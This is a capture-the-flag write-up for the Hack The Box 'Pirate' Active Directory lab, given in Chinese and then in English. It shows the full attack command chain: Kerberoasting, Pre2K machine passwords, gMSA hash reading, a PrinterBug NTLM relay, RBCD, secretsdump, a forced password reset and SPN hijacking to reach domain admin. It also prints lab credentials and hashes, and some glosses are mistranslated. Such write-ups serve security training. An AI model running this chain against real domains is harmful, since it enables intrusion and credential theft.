htb pirate

类型: HTB 需要阅读: No

枚举

As is common in real life pentests, you will start the Pirate box with credentials for the following account pentest / p3nt3st2025!&

# Nmap 7.98 scan initiated Thu Mar  5 03:58:32 2026 as: /usr/lib/nmap/nmap -p 53,80,88,135,139,389,443,445,464,593,636,2179,3268,3269,5985,9389,49667,49685,49686,49688,49689,49913,61992,62014 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.7.169
Nmap scan report for 10.129.7.169
Host is up (0.19s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        (generic dns response: NOTIMP)
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-05 10:58:39Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2025-06-09T14:05:15
|_Not valid after:  2026-06-09T14:05:15
|_ssl-date: 2026-03-05T11:00:18+00:00; +7h00m01s from scanner time.
443/tcp   open  https?
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-05T11:00:18+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2025-06-09T14:05:15
|_Not valid after:  2026-06-09T14:05:15
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-05T11:00:18+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2025-06-09T14:05:15
|_Not valid after:  2026-06-09T14:05:15
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-05T11:00:17+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2025-06-09T14:05:15
|_Not valid after:  2026-06-09T14:05:15
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         Microsoft Windows RPC
49688/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
49913/tcp open  msrpc         Microsoft Windows RPC
61992/tcp open  msrpc         Microsoft Windows RPC
62014/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.98%I=7%D=3/5%Time=69A8FF73%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x85\x84\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-03-05T10:59:39
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar  5 04:00:18 2026 -- 1 IP address (1 host up) scanned in 106.48 seconds

LDAP

➜  Pirate nxc ldap 10.129.7.169 -u 'pentest' -p 'p3nt3st2025!&' --users
LDAP        10.129.7.169    389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb)
LDAP        10.129.7.169    389    DC01             [+] pirate.htb\pentest:p3nt3st2025!&
LDAP        10.129.7.169    389    DC01             [*] Enumerated 7 domain users: pirate.htb
LDAP        10.129.7.169    389    DC01             -Username-                    -Last PW Set-       -BadPW-  -Description-
LDAP        10.129.7.169    389    DC01             Administrator                 2025-06-08 14:32:36 0        Built-in account for administering the computer/domain
LDAP        10.129.7.169    389    DC01             Guest                         <never>             0        Built-in account for guest access to the computer/domain
LDAP        10.129.7.169    389    DC01             krbtgt                        2025-06-08 14:40:29 0        Key Distribution Center Service Account
LDAP        10.129.7.169    389    DC01             a.white_adm                   2026-01-16 00:36:34 0
LDAP        10.129.7.169    389    DC01             a.white                       2025-06-08 19:33:01 0
LDAP        10.129.7.169    389    DC01             pentest                       2025-06-09 13:40:23 0
LDAP        10.129.7.169    389    DC01             j.sparrow                     2025-06-09 15:08:44 0

nxc ldap 10.129.7.169 -u 'pentest' -p 'p3nt3st2025!&' --kerberoasting output.txt
LDAP        10.129.7.169    389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb)
LDAP        10.129.7.169    389    DC01             [+] pirate.htb\pentest:p3nt3st2025!&
LDAP        10.129.7.169    389    DC01             [*] Skipping disabled account: krbtgt
LDAP        10.129.7.169    389    DC01             [*] Total of records returned 2
LDAP        10.129.7.169    389    DC01             [*] sAMAccountName: a.white_adm, memberOf: CN=IT,CN=Users,DC=pirate,DC=htb, pwdLastSet: 2026-01-16 00:36:34.388000, lastLogon: 2025-06-09 16:03:37.380258
LDAP        10.129.7.169    389    DC01             $krb5tgs$23$*a.white_adm$PIRATE.HTB$pirate.htb\a.white_adm*$3d0f7...d6aa2
LDAP        10.129.7.169    389    DC01             [*] sAMAccountName: gMSA_ADFS_prod$, memberOf: CN=Remote Management Users,CN=Builtin,DC=pirate,DC=htb, pwdLastSet: 2025-06-09 14:48:41.108220, lastLogon: 2026-03-05 10:51:58.242422
LDAP        10.129.7.169    389    DC01             $krb5tgs$18$gMSA_ADFS_prod$$PIRATE.HTB$*pirate.htb\gMSA_ADFS_prod$*$c7...fc3d

好像没什么用，查看一下groups

nxc ldap 10.129.7.169 -u 'pentest' -p 'p3nt3st2025!&' --groups

LDAP        10.129.7.169    389    DC01             Pre-Windows 2000 Compatible Access       membercount: 4

发现有趣的组：Pre-Windows 2000 Compatible Access

Pre2K

通过谷歌搜索可以知道nxc的pre2k模块

USER

evil-winrm连接

evil-winrm -u 'gMSA_ADCS_prod$' -H '304106f739822ea2ad8ebe23f802d078' -i DC01.pirate.htb

检查网络

*Evil-WinRM* PS C:\Users> ipconfig

Windows IP Configuration

Ethernet adapter vEthernet (Switch01):

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::d976:c606:587e:f1e1%8
   IPv4 Address. . . . . . . . . . . : 192.168.100.1
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :

Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : .htb
   IPv4 Address. . . . . . . . . . . : 10.129.7.169
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 10.129.0.1

ligolo-ng搭建桥梁

有关搭建查看ligolo-ng官网

寻找存活主机

nxc smb 192.168.100.0/24

SMB         192.168.100.1   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:False)
SMB         192.168.100.2   445    WEB01            [*] Windows 10 / Server 2019 Build 17763 x64 (name:WEB01) (domain:pirate.htb) (signing:False) (SMBv1:False)

发现WEB01，且SMB签名禁用。证明可以尝试ntlm中继攻击

查询打印机

nxc smb 192.168.100.2 -u GMSA_ADFS_PROD$ -H 8126756fb2e69697bfcb04816e685839 -M spooler
# 返回Spooler service enabled

准备中继

sudo impacket-ntlmrelayx -t smb://10.129.7.169 -smb2support --remove-mic -socks
# --remove-mic消息完整性代码 Message Integrity Code

ligolo中配置转发

[Agent : PIRATE\gMSA_ADFS_prod$@DC01] » listener_add  --addr 0.0.0.0:8888 --to 127.0.0.1:445

执行攻击

python printerbug.py -hashes :8126756fb2e69697bfcb04816e685839 'pirate.htb/GMSA_ADFS_PROD$'@192.168.100.2 10.10.17.34

进去以后执行了RBCD攻击，获得了WEB01机器的权限

image 138.png

利用凭据XUPXYXWJ$:Mvb0i(gL8v$>{PG获取administrator的TGT,随后导出nthash

impacket-secretsdump -k -no-pass -target-ip 192.168.100.2 WEB01.pirate.htb
# 得到a.white : E2nvAOKSz5Xz2MJu

ROOT

根据bloodhound：a.white对a.white_ADM有ForceChangePassword

bloodyAD --host 192.168.100.1 -d Pirate.htb -u a.white -p E2nvAOKSz5Xz2MJu set password 'a.white_ADM' 'P@ssword123!'
# [+] Password changed successfully!

a.white_ADM属于IT组对DC01.PIRATE有WriteSPN权限，找出委派关系

impacket-findDelegation pirate.htb/a.white_adm:'P@ssword123!' -dc-ip 192.168.100.1

AccountName  AccountType  DelegationType                      DelegationRightsTo     SPN Exists
-----------  -----------  ----------------------------------  ---------------------  ----------
DC01$        Computer     Unconstrained                       N/A                    Yes
a.white_adm  Person       Constrained w/ Protocol Transition  http/WEB01.pirate.htb  Yes
a.white_adm  Person       Constrained w/ Protocol Transition  HTTP/WEB01             Yes
XUPXYXWJ$    Computer     Resource-Based Constrained          WEB01$                 No

htb pirate

Type: HTB Reading Required: No

Enumeration

As is common in real-life pentesting, you will begin the experiment using the credentials for the pentest / p3nt3st2025!& account.

Nmap 7.98 scan started on Thursday, March 5, 2026, at 03:58:32, with the following command:

/usr/lib/nmap/nmap -p 53,80,88,135,139,389,443,445,464,593,636,2179,3268,3269,5985,9389,49667,49685,49686,49688,49689,49913,61992,62014 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.7.169
Nmap scan report for 10.129.7.169:
The host is online (latency: 0.19 seconds).

PORT STATE SERVICE VERSION 53/tcp open domain (Generic DNS response: NOTIMP) | Fingerprint strings: | DNSVersionBindReqTCP: | Version |_ Bind 80/tcp open http Microsoft IIS HTTPd 10.0 |_http-server-header: Microsoft-IIS/10.0 |http-title: IIS Windows Server | HTTP methods: | Potentially risky method: TRACE 88/tcp open kerberos-sec Microsoft Windows Kerberos (Server time: 2026-03-05 10:58:39Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name) | ssl-cert: | Subject: commonName=DC01.pirate.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.pirate.htb | Not valid before: 2025-06-09T14:05:15 | Not valid after: 2026-06-09T14:05:15 |_ssl-date: 2026-03-05T11:00:18+00:00; +7h00m01s from scanner time. 443/tcp open https? 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name) |_ssl-date: 2026-03-05T11:00:18+00:00; +7h00m01s from scanner time. | ssl-cert: | Subject: commonName=DC01.pirate.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.pirate.htb | Not valid before: 2025-06-09T14:05:15 | Not valid after: 2026-06-09T14:05:15 2179/tcp open vmrdp? 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name) |_ssl-date: 2026-03-05T11:00:18+00:00; +7h00m01s from scanner time. | ssl-cert: | Subject: commonName=DC01.pirate.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.pirate.htb | Not valid before: 2025-06-09T14:05:15 | Not valid after: 2026-06-09T14:05:15 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name) |_ssl-date: 2026-03-05T11:00:17+00:00; +7h00m00s from scanner time. | ssl-cert: | Subject: commonName=DC01.pirate.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.pirate.htb | Not valid before: 2025-06-09T14:05:15 | Not valid after: 2026-06-09T14:05:15 5985/tcp open http Microsoft HTTPAPI HTTPd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49685/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49686/tcp open msrpc Microsoft Windows RPC 49688/tcp open msrpc Microsoft Windows RPC 49689/tcp open msrpc Microsoft Windows RPC 49913/tcp open msrpc Microsoft Windows RPC 61992/tcp open msrpc Microsoft Windows RPC 62014/tcp open msrpc Microsoft Windows RPC 1 service is unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at: https://nmap.org/cgi-bin/submit.cgi?new-service: SF-Port53-TCP:V=7.98%I=7%D=3/5%Time=69A8FF73%P=x86_64-pc-linux-gnu%r(DNSVe SF:VersionBindReqTCP,20,“\0\x1e\0\x06\x85\x84\0\x01\0\0\0\0\0\0\x07version\x SF:04bind\0\0\x10\0\x03”); Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection has been performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap completed on Thu Mar 5 04:00:18 2026: 1 IP address (1 host up) was scanned in 106.48 seconds.

SMB

➜  Pirate nxc smb 10.129.7.169 -u pentest -p 'p3nt3st2025!&' --shares
SMB         10.129.7.169    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:False)
SMB         10.129.7.169    445    DC01             [+] pirate.htb\pentest:p3nt3st2025!&
SMB         10.129.7.169    445    DC01             [*] Sharing resources are being listed...
SMB         10.129.7.169    445    DC01             Share           Permissions     Remark
SMB         10.129.7.169    445    DC01             -----           -----------     ------
SMB         10.129.7.169    445    DC01             ADMIN$                          Remote Admin account
SMB         10.129.7.169    445    DC01             C$                              Default share
SMB         10.129.7.169    445    DC01             IPC$            READ            Remote IPC access
SMB         10.129.7.169    445    DC01             NETLOGON        READ            Logon server share
SMB         10.129.7.169    445    DC01             SYSVOL          READ            Logon server share

Viewing the contents of SYSVOL and NETLOGON shares:

nxc smb 10.129.7.169 -u pentest -p 'p3nt3st2025!&' -M spider_plus

```json { "NETLOGON": {}, "SYSVOL": { "pirate.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI": { "atime_epoch": "2025-06-08 16:25:14", "ctime_epoch": "2025-06-08 14:39:53", "mtime_epoch": "2025-06-08 16:25:14", "size": "22 B" }, "pirate.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf": { "atime_epoch": "2025-06-08 14:39:53", "ctime_epoch": "2025-06-08 14:39:53", "mtime_epoch": "2025-06-08 14:39:56", "size": "1.07 KB" }, "pirate.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol": { "atime_epoch": "2025-06-08 16:25:14", "ctime_epoch": "2025-06-08 16:25:14", "mtime_epoch": "2025-06-08 16:25:14", "size": "2.72 KB" }, "pirate.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI": { "atime_epoch": "2025-06-09 16:12:18", "ctime_epoch": "2025-06-08 14:39:53", "mtime_epoch": "2025-06-09 16:12:18", "size": "22 B" }, "pirate.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/Audit/audit.csv": { "atime_epoch": "2025-06-09 16:12:18", "ctime_epoch": "2025-06-09 16:09:27", "mtime_epoch": "2025-06-09 16:12:18", "size": "312 B" }, "pirate.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf": { "atime_epoch": "2025-06-08 14:39:53", "ctime_epoch": "2025-06-08 14:39:53", "mtime_epoch": "2025-06-08 14:39:56", "size": "3.68 KB" } } } ```

No value detected.


## Kerberoasting

```bash
impacket-GetUserSPNs pirate.htb/pentest:'p3nt3st2025!&' -request -dc-ip 10.129.7.169

$krb5tgs$23$*a.white_adm$PIRATE.HTB$pirate.htb/a.white_adm*$8c19d96...9826a23a8

This hash cannot be cracked.

LDAP

➜  Pirate nxc ldap 10.129.7.169 -u 'pentest' -p 'p3nt3st2025!&' --users
LDAP        10.129.7.169    389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb)
LDAP        10.129.7.169    389    DC01             [+] pirate.htb\pentest:p3nt3st2025!&
LDAP        10.129.7.169    389    DC01             [*] 7 domain users found:
- Administrator                 2025-06-08 14:32:36 0        Built-in account for administering the computer/domain
- Guest                         <never>             0        Built-in account for guest access to the computer/domain
- krbtgt                        2025-06-08 14:40:29 0        Key Distribution Center Service Account
- a.white_adm                   2026-01-16 00:36:34 0
- a.white                       2025-06-08 19:33:01 0
- pentest                       2025-06-09 13:40:23 0
- j.sparrow                     2025-06-09 15:08:44 0

nxc ldap 10.129.7.169 -u 'pentest' -p 'p3nt3st2025!&' --kerberoasting output.txt
LDAP        10.129.7.169    389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb)
LDAP        10.129.7.169    389    DC01             [+] pirate.htb\pentest:p3nt3st2025!&
LDAP        10.129.7.169    389    DC01             [*] Skipping disabled account: krbtgt
LDAP        10.129.7.169    389    DC01             [*] Total of records returned 2
LDAP        10.129.7.169    389    DC01             [*] sAMAccountName: a.white_adm, memberOf: CN=IT,CN=Users,DC=pirate,DC=htb, pwdLastSet: 2026-01-16 00:36:34.388000, lastLogon: 2025-06-09 16:03:37.380258
LDAP        10.129.7.169    389    DC01             $krb5tgs$23$*a.white_adm$PIRATE.HTB$pirate.htb\a.white_adm*$3d0f7...d6aa2
LDAP        10.129.7.169    389    DC01             [*] sAMAccountName: gMSA_ADFS_prod$, memberOf: CN=Remote Management Users,CN=Builtin,DC=pirate,DC=htb, pwdLastSet: 2025-06-09 14:48:41.108220, lastLogon: 2026-03-05 10:51:58.242422
LDAP        10.129.7.169    389    DC01             $krb5tgs$18$gMSA_ADFS_prod$$PIRATE.HTB$*pirate.htb\gMSA_ADFS_prod$*$c7...fc3d

It doesn’t seem to be very useful. Let’s check the groups:

nxc ldap 10.129.7.169 -u 'pentest' -p 'p3nt3st2025!&' --groups

LDAP        10.129.7.169    389    DC01             Pre-Windows 2000 Compatible Access       membercount: 4

We found an interesting group: Pre-Windows 2000 Compatible Access.

In Active Directory (AD), the Pre-Windows 2000 Compatible Access group (whose Security Identifier, or SID, is S-1-5-32-554) does not represent a code-execution vulnerability at the code level, but rather an extremely dangerous security configuration error. This error can lead to severe information disclosure, paving the way for internal network penetration and privilege escalation.

This group was originally designed to allow older operating systems such as Windows NT 4.0 to query AD information. Its core security risks are as follows:

1. Overly permissive read access

This group has extensive read permissions at the root level of Active Directory. Specifically, members of this group can read the attributes of almost all user and group objects within the domain.

Risk: In domain environments upgraded from earlier systems like Windows Server 2000 or 2003, Everyone and Authenticated Users are often members of this group by default.
From a penetration testing perspective: This means that any attacker with a regular, low-privilege domain account (since they belong to Authenticated Users) can, in some configurations, even an unauthenticated attacker (if Everyone includes anonymous logins), query the entire domain’s structure without restrictions via the Lightweight Directory Access Protocol (LDAP).

2. Anonymous directory enumeration

If Everyone is a member of this group and the domain controller allows null sessions or anonymous LDAP bindings:

Attackers can directly connect to the domain controller over the network without obtaining any credentials.
Using tools such as rpcclient or LDAP queries, they can enumerate all user names, group lists, and even the Description fields of certain users.
Damage: The Description fields often contain plaintext passwords, the purposes of service accounts, or other sensitive internal network information.

3. Facilitating advanced domain attacks

The unrestricted information collection capability provided by the Pre-Windows 2000 Compatible Access group is a cornerstone for carrying out subsequent advanced attacks. Attackers can easily gather the following information to plan their attacks:

Target identification: Quickly locate members of high-privilege groups such as Domain Admins and Enterprise Admins.
Kerberoasting attacks: Enumerate service accounts with the Service Principal Name (SPN) attribute, request service tickets, and attempt offline password cracking.
AS-REP Roasting attacks: Query users configured with the “Do not require Kerberos preauthentication” attribute and perform offline hash cracking on them.
BloodHound pathfinding: The group’s permissions are sufficient for BloodHound to collect most of the node relationships, allowing the calculation of the shortest attack path from a regular user to a Domain Admin.

4. Persistence and backdoors

In Red Team operations, if attackers gain high privileges, they may intentionally add regular users or specific backdoor accounts to the Pre-Windows 2000 Compatible Access group. Since this is a built-in, seemingly “compatible” group, Blue Teams or system administrators may overlook it during audits, allowing the attackers to maintain covert monitoring access to domain information.

Repair recommendations and defense measures:

As a defender or when issuing a penetration testing report, the following repair measures should be recommended:

Clean up group members: Open “Active Directory Users and Computers” (ADUC) and check the members of the “Pre-Windows 2000 Compatible Access” group. Remove Everyone, Anonymous Logon, and Authenticated Users.
Add members with caution: This group should be left empty unless there are truly extremely old legacy systems on the internal network (which are generally no longer in use today).
Disable anonymous LDAP: Ensure that anonymous LDAP binding operations are disabled in the domain controller’s registry or group policies.

Exploitation Opportunities

Since we are members of the AUTHENTICATED USERS@PIRATE.HTB group (which is part of the Pre-Windows 2000 Compatible Access domain), we have access to all the information.

Reading User Attributes

We can retrieve user attributes using the following command:

ldapsearch -x -H ldap://10.129.7.169 -D 'pentest@pirate.htb' -w 'p3nt3st2025!&' -b "DC=pirate,DC=htb" "(objectClass=user)" > all_users_attributes.txt

However, no leaked passwords were found in the output.

Reading GMSA Passwords

To read GMSA (Group Managed Security Accounts) passwords, we try:

nxc ldap 10.129.7.169 -u 'pentest' -p 'p3nt3st2025!&' --gmsa

The response indicates that only the Domain Secure Servers group has the permission to read GMSA passwords:

Account: gMSA_ADCS_prod$      NTLM: <no read permissions> PrincipalsAllowedToReadPassword: Domain Secure Servers

To list users who have access to GMSA passwords, we search for groups with the Domain Secure Servers category:

ldapsearch -x -H ldap://10.129.7.169 -D 'pentest@pirate.htb' -w 'p3nt3st2025!&' -b "DC=pirate,DC=htb" "(&(objectCategory=group)(cn=Domain Secure Servers))" member

The result shows that only the MS01 computer has the necessary permission:

member: CN=MS01,CN=Computers,DC=pirate,DC=htb

Therefore, only the MS01 computer can be used to read GMSA passwords.

Exploiting the Pre2K Vulnerability (nxc)

A search on Google reveals the nxc pre2k module.

Background

By default, when a computer joins a domain, Active Directory generates a 120-character, randomly generated password for the machine account, which is updated every 30 days. This makes it extremely difficult to crack such accounts manually.

However, the Active Directory User and Computer (ADUC) management tool includes a checkbox for compatibility with older NT systems: “Assign this computer account as a pre-Windows 2000 computer”. If an administrator checks this box when creating a new computer account (even if the physical machine hasn’t been assigned yet), a critical vulnerability arises: Active Directory does not generate a random password; instead, it uses the lowercase version of the computer’s name as the initial password.

For example, if a new computer account named SERVERDEMO$ is created, its password will be serverdemo. If our target computer is named MS01$ and this vulnerability is present, its password will be ms01.

To exploit this vulnerability, we use the nxc tool with the pre2k option:

nxc ldap 10.129.7.169 -u 'pentest' -p 'p3nt3st2025!&' -M pre2k

This will allow us to access the MS01$ and EXCH01$ accounts.

Reading GMSA Passwords for MS01

To read the GMSA password of the MS01 account, we use:

nxc ldap DC01.pirate.htb -u 'MS01$' -p 'ms01' -k --gmsa

The output shows the GMSA passwords for the MS01$ account:

Account: gMSA_ADCS_prod$      NTLM: 304106f739822ea2ad8ebe23f802d078     
Account: gMSA_ADFS_prod$      NTLM: 8126756fb2e69697bfcb04816e685839

USER

Evil-WinRM Connection

evil-winrm -u 'gMSA_ADCS_prod$' -H '304106f739822ea2ad8ebe23f802d078' -i DC01.pirate.htb

Checking the Network

*Evil-WinRM* PS C:\Users> ipconfig

Windows IP Configuration:

Ethernet adapter vEthernet (Switch01):
- Link-local IPv6 Address: fe80::d976:c606:587e:f1e1%8
- IPv4 Address: 192.168.100.1
- Subnet Mask: 255.255.255.0
- Default Gateway: …
Ethernet adapter Ethernet0 2:
- IPv4 Address: 10.129.7.169
- Subnet Mask: 255.255.0.0
- Default Gateway: 10.129.0.1


## **Setting Up Ligolo-ng**

For more information on setting up Ligolo-ng, visit the [official Ligolo-ng website](https://docs.ligolo.ng/).

**Finding Active Hosts**

```bash
nxc smb 192.168.100.0/24

SMB Session Details:

SMB Server 192.168.100.1 (Windows 10 / Server 2019):
- Domain: pirate.htb
- SMBv1: Disabled
SMB Server 192.168.100.2 (WEB01):
- Domain: pirate.htb
- SMBv1: Disabled


**Discovering WEB01 and Enabling SMB Signatures**

Since SMB signatures are disabled on WEB01, an NTLM relay attack can be attempted.

**Querying Printers**

```bash
nxc smb 192.168.100.2 -u GMSA_ADFS_prod$ -H 8126756fb2e69697bfcb04816e685839 -M spooler
# Output: Spooler service is enabled.

Preparing for the Relay Attack

sudo impacket-ntlmrelayx -t smb://10.129.7.169 -smb2support --remove-mic

Configuring Forwarding in Ligolo

[Agent : PIRATE\gMSA_ADFS_prod$@DC01] » listener_add --addr 0.0.0.0:8888 --to 127.0.0.1:445

Executing the Attack

python printerbug.py -hashes :8126756fb2e69697bfcb04816e685839 'pirate.htb/GMSA_ADFS_prod$'@192.168.100.2 10.10.17.34

The attack successfully grants access to the WEB01 machine.

Image 138.png

Obtaining the Administrator’s TGT (Trusted Host Guarantee):

The administrator’s TGT is obtained using the credentials XUPXYXWJ$:Mvb0i(gL8v$>{PG. Subsequently, the nthash is extracted:

impacket-secretsdump -k -no-pass -target-ip 192.168.100.2 WEB01.pirate.htb
# Output: a.white : E2nvAOKSz5Xz2MJu

ROOT

According to Bloodhound, a.white has the ForceChangePassword privilege on a.white_ADM.

bloodyAD --host 192.168.100.1 -d Pirate.htb -u a.white -p E2nvAOKSz5Xz2MJu set password 'a.white_ADM' 'P@ssword123!'
# [+] Password changed successfully!

a_white_ADM belongs to the IT group and has the WriteSPN privilege on DC01.PIRATE. Identify the delegation relationship:

impacket-findDelegation pirate.htb/a.white_adm:'P@ssword123!' -dc-ip 192.168.100.1

AccountName  AccountType  DelegationType                      DelegationRightsTo     SPN Exists
-----------  -----------  ----------------------------------  ---------------------  ----------
DC01$        Computer     Unconstrained                       N/A                    Yes
a.white_adm  Person       Constrained w/ Protocol Transition  http/WEB01.pirate.htb  Yes
a.white_adm  Person       Constrained w/ Protocol Transition  HTTP/WEB01             Yes
XUPXYXWJ$    Computer     Resource-Based Constrained          WEB01$                 No

SPN Hijacking:

User a_white_adm is allowed to access the HTTP service on `WEB01** on behalf of anyone (due to the protocol transition).
a_white_adm has the WriteSPN privilege on DC01.

Taking advantage of the uniqueness of the SPN, transfer the delegation rights that should belong to WEB01 back to DC01, allowing a_white_adm to access DC01 as an administrator.

Remove the SPN for WEB01:

python3 ~/Work/Tools/krbrelayx/addspn.py -t 'WEB01$' -u 'pirate.htb\a.white_adm' -p 'P@ssword123!' 'DC01.pirate.htb'  -r --spn 'http/WEB01.pirate.htb'
# Returns: SPN Modified successfully

Transfer the delegation rights back to WEB01:

python3 ~/Work/Tools/krbrelayx/addspn.py -t 'DC01$' -u 'pirate.htb\a.white_adm' -p 'P@ssword123!' 'dc01.pirate.htb' -s 'http/WEB01.pirate.htb'
# Returns: SPN Modified successfully

Obtain a ticket:

impacket-getST -spn 'http/WEB01.pirate.htb' -impersonate administrator 'pirate.htb/a.white_adm:P@ssword123!' -dc-ip 10.129.7.169 -altservice 'cifs/DC01.pirate.htb'
# Returns: Saving ticket in administrator@http_WEB01.pirate.htb@PIRATE.HTB.ccache
# The `-altservice` parameter bypasses the protocol transition restrictions.

Since the TG (Trusted Group) is long-term, DC trusts a_white_adm.

impacket-smbclient -k -no-pass DC01.pirate.htb

This will grant a_white_adm root access.

htb-pirate

htb-pirate

htb pirate

枚举

SMB

Kerberoasting

LDAP

相关介绍

利用

Pre2K

相关介绍

USER

ligolo-ng搭建桥梁

ROOT

SPN 劫持

htb pirate

Enumeration

Nmap 7.98 scan started on Thursday, March 5, 2026, at 03:58:32, with the following command:

Nmap completed on Thu Mar 5 04:00:18 2026: 1 IP address (1 host up) was scanned in 106.48 seconds.

SMB

No value detected.

LDAP

Exploitation Opportunities

Reading User Attributes

Reading GMSA Passwords

Exploiting the Pre2K Vulnerability (nxc)

Background

Reading GMSA Passwords for MS01

USER

ROOT

SPN Hijacking: